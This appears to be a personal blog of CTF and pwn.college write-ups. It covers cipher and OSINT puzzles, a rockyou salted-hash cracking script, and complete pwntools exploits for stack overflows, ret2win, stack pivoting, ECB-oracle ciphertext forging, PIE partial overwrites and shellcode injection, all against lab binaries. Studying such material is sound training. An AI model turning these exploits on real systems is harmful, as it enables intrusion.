Hello Navi

Tech, Security & Personal Notes

OSINT II

TIFFANY&Co.

Halloween Day 3 - Python Obfuscation

多层 zlib(base64(reverse())) 混淆,递归解包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import re
import zlib

payload_bytes = b"" # <- 第一层 payload

layer = 1
while True:
try:
decoded = zlib.decompress(base64.b64decode(payload_bytes[::-1])).decode()
match = re.search(r"b'([^']+)'|b\"([^\"]+)\"", decoded)
if match:
payload_bytes = (match.group(1) or match.group(2)).encode()
layer += 1
else:
print(decoded)
break
except Exception:
print(decoded)
break

print(f"[*] Layer: {layer}")

最终明文是一个逐字符打印脚本,答案藏在变量里:zieltext = "Die Antwort lautet GRABREDE."

GRABREDE

Halloween Day 4 - Scream Cipher

1
ĀA̰Á AÂÃȀÁȂ A̦ÅÄ AȂÁ ĂÅÅẠẢÂA̋ A̮ÅȂ ẢÃ ȦĂÅÅA̱...

Scream Cipher (XKCD)BLOOD

Halloween Day 5 - Hex Colors

6 个弹孔的红色色值,取高位字节:

1
2
#670000 #650000 #660000 #610000 #680000 #720000
67 65 66 61 68 72

from hex → gefahr

Halloween Day 6a - Base64

直接 base64 decode → Bein

Halloween Day 6b - Morse Code

... - .. .-. -...STIRB

Winter Day 1 - View Source

Ctrl+Shift+U 查看源码,答案在被雪覆盖的 <p> 标签中 → snowflake

Winter Day 2 - Base64

QXBlcmxhYXE=Aperlaaq

Winter Day 4 - Wham! Typos

歌词中混入了 prompt injection 和故意拼写错误,提取异常字母:

原文 应为 异常字母
beby baby e
A wrapped I wrapped A
Nor Now r
sowl soul w
rear year r
mover lover m

Earworm

Octopus

A human counts with 10 fingers, an octopus with 8 tentacles. The answer is octopus2471.

2471 (octal) → 1337

Brainfuck?

实际是 JSFuck,Node.js 中 console.log(/* code */) 执行即可。

Host

1
$ curl http://185.26.156.141

响应中 <kbd>aegir.uberspace.de</kbd> 即为答案。

Rockyou

前端 JS 校验 sha256(salt + value),rockyou 字典爆破:

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha256

salt = "3NL/usjb4vEg"
target = "9bcf0c8289a97d33021b4790659396d9f8af1085210d2186b8ec38efcdc31472"

with open("/path/to/rockyou.txt") as f:
for line in f:
word = line.strip()
if sha256((salt + word).encode()).hexdigest() == target:
print(word)
break

Time Zones

Chameleon 插件修改浏览器时区为 UTC-10。

Free Fall

$$h = \frac{1}{2} g t^2 = \frac{1}{2} \times 9.81 \times 1.43^2$$

Treasure Hunt

  • The largest online encyclopedia → wikipedia
  • Delay to allow data to travel from one point to another → latency
  • A finite, unambiguous set of instructions → algorithm
  • A machine learning model inspired by the human brain’s structure → neural network

UTF-5

□ = 0, ■ = 1,5-bit 编码(1=A, 2=B, …):

编码 二进制 字母
□■■□□ 01100 12 L
□■■■■ 01111 15 O
□□□■■ 00011 3 C
□■□□□ 01000 8 H
□■□■■ 01011 11 K
□□□□■ 00001 1 A
■□□■□ 10010 18 R
■□■□□ 10100 20 T
□□■□■ 00101 5 E

LOCHKARTE

Alphabet - Control Characters

ASCII contains an alphabet of uppercase letters and one of lowercase letters. But there is also a third, which is used in this file.

控制字符 = 第 N 个字母,空格保持:

1
2
3
$ xxd a
00000000: 1420 2020 010e 2020 2020 2009 2020 2020 . .. .
00000010: 0e14 2020 0c0a .. ..
字节 字母
0x14 20 T
0x01 1 A
0x0e 14 N
0x09 9 I
0x0e 14 N
0x14 20 T
0x0c 12 L

T _ _ _ A N _ _ _ _ _ I _ _ _ _ N T _ _ Lcontrol

Honey Morello - Zero-Width Steganography

文本中藏有 zero-width characters(U+200B = 0, U+200C = 1),每行提取后按 5-bit 解码:

1
2
3
4
5
6
7
8
9
for line in text.split("\n"):
bits = ""
for ch in line:
if ch == "\u200b":
bits += "0"
elif ch == "\u200c":
bits += "1"
if bits and (val := int(bits, 2)):
print(chr(96 + val), end="")

the answer is meme

Mental Arithmetic

15 道限时算术题,JS 自动填充:

1
2
3
4
5
for (let i = 0; i < 15; i++) {
let task = document.getElementById("task" + i).innerText.replace("=", "").trim();
document.getElementById("ans" + i).value = eval(task);
}
document.forms[0].submit();

Base4096

Emoji 编解码:https://base4096.infinityfreeapp.com/?i=1

Transposed - Rail Fence Cipher

Rail Fence Cipher decode, key = 4

challenges

Game 20

1
reverseme: ELF 32-bit LSB executable, Intel i386, statically linked, not stripped

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE s[30]; // [ebp-2Eh]
int v5; // [ebp-34h] BYREF
unsigned int v7;

if ( argc > 1 || strcmp(*argv, "./suninatas") ) // 必须重命名为 suninatas
return 0;
// 清空所有环境变量
for ( i = 0; envp[i]; ++i )
for ( j = 0; j < strlen(envp[i]); ++j )
envp[i][j] = 0;

_isoc99_scanf("%30s", s);
v7 = Base64Decode(s, &v5);
if ( v7 <= 0xC ) // 解码后最多 12 字节
{
memcpy(&input, v5, v7); // 拷贝到 BSS 段全局变量 input
if ( auth(v7) == 1 )
correct();
}
}

_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [ebp-14h]
char *s2; // [ebp-Ch]
int v4; // [ebp-8h] BYREF <-- 关键:距 saved ebp 仅 8 字节

// buffer overflow
memcpy(&v4, &input, a1); // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp
s2 = (char *)calc_md5((int)v2, 12);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
if ( input == 0xDEADBEEF )
IO_puts("Congratulation! you are good!");
exit(0);
}

Analysis

限制条件:

  • 文件必须重命名为 suninatasstrcmp(*argv, "./suninatas")
  • Base64 解码后最多 12 字节,无法直接覆盖 return address(需要 12+4=16 字节)

Stack Pivot

authv4 位于 [ebp-8h]memcpy 拷入 12 字节时:

1
2
3
4
[ebp-8h] v4       ← bytes 0-3
[ebp-4h] ← bytes 4-7
[ebp+0h] saved ebp ← bytes 8-11 (被覆盖!)
[ebp+4h] ret addr ← 无法触及

虽然无法直接控制 return address,但可以控制 saved ebp,利用 leave; ret 的链式效应实现栈迁移:

  1. authleave 恢复了被篡改的 ebp 给 main
  2. main 结束时执行 leavemov esp, ebp; pop ebp)— esp 被迁移到 &input
  3. main 执行 ret — 从 &input + 4 弹出值作为 EIP

Payload 结构

12 字节 = 3 个 DWORD(little-endian):

Offset 作用
0-3 0xDEADBEEF mainpop ebp 读取,同时满足 correct()input == 0xDEADBEEF
4-7 &correct (0x0804925f) mainret 弹入 EIP
8-11 &input (0x0811c9ec) 覆盖 auth 的 saved ebp,触发栈迁移

Exploit

获取地址(statically linked,地址固定):

1
2
3
$ objdump -t ./suninatas | grep -E ' (correct|input)$'
0811c9ec g O .bss 0000000d input
0804925f g F .text 00000031 correct

生成 payload:

1
2
python -c "import base64, struct; print(base64.b64encode(struct.pack('<III', 0xDEADBEEF, 0x0804925f, 0x0811c9ec)).decode())"
****************

because

1
memcpy(&input, v5, v7);  // 拷贝到 BSS 段全局变量 input

&input + 0 (前 4 字节): 0xDEADBEEF

&input + 4 (中 4 字节): 0x0804925f (&correct 的绝对地址)

&input + 8 (后 4 字节): 0x0811c9ec (&input 的绝对地址)

1
memcpy(&v4, &input, a1);  // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp

[ebp-8] 到 [ebp-5]: 填入 0xDEADBEEF

[ebp-4] 到 [ebp-1]: 填入 0x0804925f

[ebp+0] 到 [ebp+3]: 填入 0x0811c9ec (&input) <-saved ebp

when auth calls leave; ret to return to main

mov esp, ebp: esp = ebp -> &input

pop ebp: esp -> ebp + 4 = &input + 4 and put 0xDEADBEEF into ebp

ret (pop eip): eip -> esp = &input + 4 = 0x0804925f = &correct

at &correct check input == 0xDEADBEEF

1
2
3
4
$ ./suninatas
Authenticate : ****************
hash : d932bf2657c20fd638787756d680c95c
Congratulation! you are good!
776t3l+SBAjsyREI

同 easy 版本的 dispatch oracle 和 ECB block-by-block 加密策略,区别在于没有 stack dump 提示,需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/vulnerable-overflow

关键溢出点:

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x60
│ 0x0040173b lea rsi, [s1] ; rbp - 0x60
; message buffer = s1 + 0x10 (跳过 8 字节 header + 8 字节 length)
│ 0x0040173f add rsi, 0x10 ; rbp - 0x50
; buffer overflow: 无长度限制
│ 0x00401749 call sym.imp.EVP_DecryptUpdate
  • message buffer 起始于 rbp - 0x50
  • saved rbp 在 rbp + 0x00,saved rip 在 rbp + 0x08
  • offset = 0x50 + 0x08 = 88 bytes

sym.win 地址:

1
2
│           0x004013b6      endbr64
│ 0x004013be lea rdi, str.You_win__Here_is_your_flag:

win() = 0x4013b6

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

# 0x50 (buffer to rbp) + 0x08 (saved rbp) = 88
OFFSET = 88
WIN_ADDR = 0x4013b6


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

Concepts used: Cryptography + Binary Exploitation

Source

vulnerable-overflow 读取密文,先解密第一个 block 验证 header 和 length,再解密剩余 block 到栈上固定大小的 message[60]。因为 ciphertext_len 没有上限检查,EVP_DecryptUpdate 会直接造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[60];
} plaintext = {0};

// ... key init, read ciphertext from stdin ...

// verify first block
EVP_DecryptUpdate(ctx, (char *)&plaintext, &decrypted_len, ciphertext, 16);
assert(memcmp(plaintext.header, "VERIFIED", 8) == 0);
assert(plaintext.length <= 16);

// buffer overflow: no bounds check on ciphertext_len
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);
}

dispatch 是加密 oracle,接受最多 16 字节的 message,拼上 VERIFIED header 后用相同 key 的 AES-ECB 加密输出:

1
2
3
4
5
6
7
8
key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_ECB)

message = sys.stdin.buffer.read1()
assert len(message) <= 16, "Your message is too long!"
plaintext = b"VERIFIED" + struct.pack(b"<Q", len(message)) + message
ciphertext = cipher.encrypt(pad(plaintext, cipher.block_size))
sys.stdout.buffer.write(ciphertext)

Analysis

ECB 模式下每个 16 字节 block 独立加密,相同明文 block 产生相同密文 block。因此可以:

  1. 调用 dispatch 获取合法的第一个 block(包含 VERIFIED header)的密文
  2. 将 payload 按 16 字节分块,逐块调用 dispatch 加密
  3. 拼接密文发送给 vulnerable-overflow,解密后得到我们的任意 payload

从 stack dump 中可以看到:

1
2
3
| 0x00007fff9c9fad20 (rsp+0x0040) | message buffer 开始位置
| ... | 120 bytes of 'A' padding
| 0x00007fff9c9fad98 (rsp+0x00b8) | saved return address -> 0x401e96
  • buffer 起始: rsp+0x40,saved rip: rsp+0xb8 → offset = 120 bytes
  • win() 地址: 0x4018f7

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

OFFSET = 120
WIN_ADDR = 0x4018f7


def encrypt_block(block_data):
"""调用 dispatch 加密单个 16 字节 block,返回对应密文"""
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send") # 必须发送 EOF,否则 read1() 阻塞
ct = p.recvall()
p.close()
return ct[16:32] # 跳过第一个 block (VERIFIED header)


def build_payload():
# 获取合法的第一个 block 密文 (通过 dispatch 加密任意 16 字节 message)
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

# 逐块加密,拼接密文
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

同 easy 版本的 ECB oracle + shellcode 注入,但没有 stack dump,需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/vulnerable-overflow

关键溢出点:

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x70
│ 0x004016d3 lea rsi, [s1] ; rbp - 0x70
; message buffer = s1 + 0x10 (跳过 header + length)
│ 0x004016d7 add rsi, 0x10 ; rbp - 0x60
; buffer overflow
│ 0x004016e1 call sym.imp.EVP_DecryptUpdate
  • message buffer: rbp - 0x60
  • saved rip: rbp + 0x08
  • offset = 0x60 + 0x08 = 104 bytes (与 easy 版本相同)

Exploit 完全相同,只需对应修改 buffer 地址即可。实际上因为栈地址固定且相同,exploit 代码可以直接复用。

与 ECB-to-Win 类似的 ECB oracle + buffer overflow,但没有 win() 函数,需要注入 shellcode 并跳转执行。栈可执行。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[48]; // 比 win 版本更小
} plaintext = {0};

// ... 同样的 ECB 解密流程 ...

// buffer overflow
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);

// 会打印反汇编后的 shellcode 和栈布局
print_disassembly(plaintext.message, decrypted_len);
}

Analysis

从 stack dump 中读取关键信息:

1
2
3
| 0x7fffffffec90 (rsp+0x0040) | message buffer 开始 (shellcode 放这里)
| ... | 104 bytes to saved rip
| 0x7fffffffecf8 (rsp+0x00a8) | saved return address
  • buffer 起始: 0x7fffffffec90
  • offset = 0xa8 - 0x40 = 104 bytes
  • 栈地址固定(ASLR 未随机化栈),直接将返回地址覆盖为 buffer 起始地址

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "info"

OFFSET = 104
BUFFER_ADDR = 0x7fffffffec90


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
shellcode = asm(shellcraft.cat("/flag"))

# shellcode + nop sled + return address
raw_payload = shellcode.ljust(OFFSET, b"\x90") + p64(BUFFER_ADDR)

# 获取合法的第一个 block 密文
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"\x90" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

padded_payload = pad(raw_payload, 16)
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow", env={})
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

Your First Overflow (easy)

Buffer 20 bytes, win variable 20 bytes after buffer start. Overflow to set win variable non-zero.

1
2
3
4
5
6
7
hacker@binary-exploitation~your-first-overflow-easy:~$ /challenge/binary-exploitation-first-overflow-w
# buffer at rsp+0x0030, win variable at rsp+0x0040 (20 bytes after buffer)
# send 21+ bytes to overflow into win variable
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaaaa
You win! Here is your flag:
pwn.college{*******************************************}

Your First Overflow (hard)

1
2
3
4
5
6
7
8
9
10
int challenge(int argc, char **argv, char **envp)
{
struct {
char input[96];
int win_variable;
} data = {0};
// ...
int received = read(0, &data.input, (unsigned long) size);
if (data.win_variable) { win(); }
}

need input 96 bytes + 1 byte to overflow win_variable.

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-first-overflow')
p.sendline(b'a' * 96 + b'a')
p.interactive()

pwn.college{*******************************************}

Precision (easy)

Buffer 51 bytes, win variable 52 bytes after buffer. Lose variable 56 bytes after buffer – must not overwrite it.

Send exactly 53 bytes (52 padding + 1 to set win, stop before lose).

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable-w')
p.sendline(b'a' * 52 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Precision (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-lose-variable

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; buffer init: rep stosq with ecx=0xd (13), clearing 13*8=104 bytes
0x004017a9 488d5580 lea rdx, [format] ; buffer start
0x004017b2 b90d000000 mov ecx, 0xd ; 13 iterations
0x004017ba f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 104)
; ...
; read into buffer at [format]
0x004017fe 488d4580 lea rax, [format] ; buf = rbp - 0x80
; ...
; lose check
0x0040184a 8b45e8 mov eax, dword [var_18h] ; lose @ [rbp - 0x18]
0x0040184d 85c0 test eax, eax
; win check
0x00401867 8b45e4 mov eax, dword [var_1ch] ; win @ [rbp - 0x1c]
0x0040186a 85c0 test eax, eax
  • var_1ch -> [rbp - 0x1c]h 代表 Hex。
  • var_18h -> [rbp - 0x18]

Win 变量 [rbp - 0x1c]Lose 变量 [rbp - 0x18]

Buffer init 用 rep stosqmemset(buffer, 0, size)

  • stosq: 把 rax (0) 写入 rdi 指向的地址,每次 8 bytes。
  • rep 配合 ecx = 0xd (13),循环 13 次。
  • 13 * 8 = 104 bytes

已知 Lose 变量位于 [rbp - 0x18]。Buffer 起点位置 = Lose 变量往上推 104 字节。

0x18 + 104 (即 0x68) = 0x80

Buffer 起点 [rbp - 0x80],到 [rbp - 0x1c] = 100 bytes,接下来 4 bytes 是 Win 变量。

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable')
p.sendline(b'a' * 100 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Variable Control (easy)

Buffer 29 bytes, win variable 32 bytes after buffer (must set to 0x5a71653b). Lose variable 36 bytes after buffer.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control-w')
padding = b'A' * 32
win_val = p32(0x5a71653b)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Variable Control (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-var-control

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
; buffer init: rep stosq with ecx=0xb (11), 11*8=88 bytes
0x00402331 488d5590 lea rdx, [format] ; buffer start
0x0040233a b90b000000 mov ecx, 0xb ; 11 iterations
0x00402342 f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 88)
; ...
; read into buffer at [format] = rbp - 0x70
; ...
; lose check @ [rbp - 0x18]
0x004023c0 8b45e8 mov eax, dword [var_18h]
; win check @ [rbp - 0x1c], must equal 0x16630978
0x004023dd 8b45e4 mov eax, dword [var_1ch]
0x004023e0 3d78096316 cmp eax, 0x16630978
1
2
3
4
>>> 88 + 0x18   # buffer size + lose offset from end
112
>>> 112 - 0x1c # distance to win variable
84
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control')
padding = b'A' * 84
win_val = p32(0x16630978)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Control Hijack (easy)

No win variable. Overflow return address to jump to win() at 0x401e1d. Buffer starts 88 bytes before return address. Canary disabled, no PIE.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-w')
padding = b'A' * 59 + b'B' * 29 # 88 bytes to reach return address
win_val = p32(0x401e1d)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/binary-exploitation-control-hijack

Key parts of sym.challenge:

1
2
3
4
5
6
; buf -> rbp - 0x60
0x00401e5d 488d45a0 lea rax, [buf]
0x00401e61 4889c6 mov rsi, rax ; read into buf
; ...
0x00401eb4 c9 leave
0x00401eb5 c3 ret

sym.win 入口: 0x00401cb9

在 x86_64 架构下,当一个函数被调用时,返回地址 (Return Address) 压入栈中。溢出覆盖返回地址为 sym.win,当 sym.challenge 执行 ret 时 CPU 跳去执行 win 函数。这叫 Ret2Win

  1. 输入缓冲区起点: rbp - 0x60

use r2 -A to analyze, default asm.var = true, visual mode shows variable names

  1. 到达返回地址的距离:
    • 覆盖局部变量: 96 字节 到达 rbp
    • 跨过 Saved RBP: 8 字节
    • Padding = 96 + 8 = 104 字节
  2. sym.win 入口: 0x00401cb9
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack')
padding = b'A' * 96 + b'B' * 8
win_val = p32(0x401cb9)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (easy)

win_authed(int token) requires token == 0x1337, but we can bypass the check by jumping past it.

Buffer 31 bytes, return address 56 bytes after buffer. Canary disabled, no PIE.

1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2-w
1
2
3
4
0x00402031      817dfc3713..   cmp dword [var_4h], 0x1337
0x00402038 0f85fe000000 jne 0x40213c
; jump past the check to here:
0x0040203e 488d3dab10.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2-w')
padding = b'A' * 31 + b'B' * 25 # 56 bytes
win_val = p32(0x0040203e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x40
0x0040157d 488d45c0 lea rax, [buf]

; sym.win_authed: jump past auth check
0x00401401 817dfc3713.. cmp dword [var_4h], 0x1337
0x00401408 0f85fe000000 jne 0x40150c
; ret to here:
0x0040140e 488d3df30b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2')
padding = b'A' * 0x40 + b'B' * 8
win_val = p32(0x0040140e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

PIEs (easy)

Position Independent Executable – Partial Overwrite

1. PIE 与内存分页 (Memory Paging)

开启了 PIE,Kernel 会在每次执行时,把 binary 塞到内存中一个完全随机的位置 (ASLR)。

但 Kernel 按 Page (页) 管理内存:

  • 一个 Memory Page = 0x1000 bytes (4KB)
  • 基址 (Base Address) 永远是 0x1000 的倍数
  • 最后三个 nibbles 永远是 000(例如 0x5f7be1ec2000

2. 偏移量 (Offset) 不变

虽然基址在变,但 win() 在 binary 内部的相对位置 (Offset) 编译时就决定了。 假设 win() offset 为 0x1337

  • 基址 0x5f7be1ec2000 -> win() = 0x5f7be1ec3337
  • 基址 0x6513a3b67000 -> win() = 0x6513a3b68337

最后三个 nibbles (337) 不变。

3. Partial Overwrite 与 Little-Endian

Little-Endian 下 Return Address 最低有效字节在最低地址,溢出时从最低字节开始覆盖:

  1. 改 1 字节 (2 nibbles): 不受 ASLR 影响,100% 成功
  2. 改 2 字节 (4 nibbles): 前 3 nibbles 固定,第 4 nibble 随机。一个 nibble 16 种可能,每次 $\frac{1}{16}$ 概率。

n 次至少成功一次:

$$P = 1 - \left(\frac{15}{16}\right)^n$$

  • 跑 11 次 50%
  • 跑 36 次 90%
1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow-w
1
2
3
; buf -> rbp - 0x40, return address at rbp + 8, padding = 0x40 + 8 = 72 bytes
; jump past auth check:
0x00001a2b 488d3dbe16.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow-w"
padding = b"A" * 0x40 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1A2B)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

PIEs (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x90
0x00001ee3 488d8570ff.. lea rax, [buf]

; sym.win_authed: jump past auth check
0x00001cfb 817dfc3713.. cmp dword [var_4h], 0x1337
0x00001d02 0f85fe000000 jne 0x1e06
; ret to here -> 0x1d08
0x00001d08 488d3df912.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow"
padding = b"A" * 0x90 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1d08)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (easy)

Buffer 120 bytes, return address 168 bytes after buffer. PIE enabled, canary disabled.

Challenge uses strlen() to validate input length before copying to stack. But strlen() stops at the first \x00 (Null Byte).

在 C 语言中,字符串以 \x00 结尾。strlen() 碰到第一个 \x00 就停止计数。 在 payload 开头放一个 \x00strlen() 判定长度为 0,绕过长度检查。

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write-w
1
2
3
4
5
6
7
; string_length < 120 assertion
0x00002b62 488d3d6d13.. lea rdi, str.string_length___120

; win_authed: jump past auth check -> 0x00002522
0x00002515 817dfc3713.. cmp dword [var_4h], 0x1337
0x0000251c 0f85fe000000 jne 0x2620
0x00002522 488d3dc70b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write-w"
padding = b"\x00" + b"A" * 167 # 168 bytes total (null + 167 padding)

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x2522)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write
1
2
3
4
5
6
7
8
9
10
11
; sym.challenge:
; malloc tmp buffer, read into it, strlen check, then memcpy to stack
; buf on stack -> s1 = rbp - 0xa0
0x00001607 488d8560ff.. lea rax, [s1]
; string_length < 113 assertion (0x70 = 112, jbe means <= 112)
0x000015f1 488d3d7e0b.. lea rdi, str.string_length___113

; win_authed: jump past auth -> 0x000013ad
0x000013a0 817dfc3713.. cmp dword [var_4h], 0x1337
0x000013a7 0f85fe000000 jne 0x14ab
0x000013ad 488d3d540c.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write"
# 0xa0 + 8 - 1 = 167 bytes after null
padding = b"\x00" + b"A" * 167

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x13ad)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************W}

Basic Shellcode

Shellcode copied onto stack and executed. Stack location randomized, so shellcode must be position-independent.

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(arch="amd64", os="linux")

p = process("/challenge/binary-exploitation-basic-shellcode")
p.send(asm(shellcraft.cat("/flag")))
p.interactive()

# pwn.college{*******************************************}

NOP Sleds

NOP (No Operation) opcode \x90:什么都不做,仅把 RIP 向前移动一个字节。

NOP Sled 在 Shellcode 前铺上大量 \x90。跳到这片区域的任意位置,CPU 就会顺着一路”滑”到 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
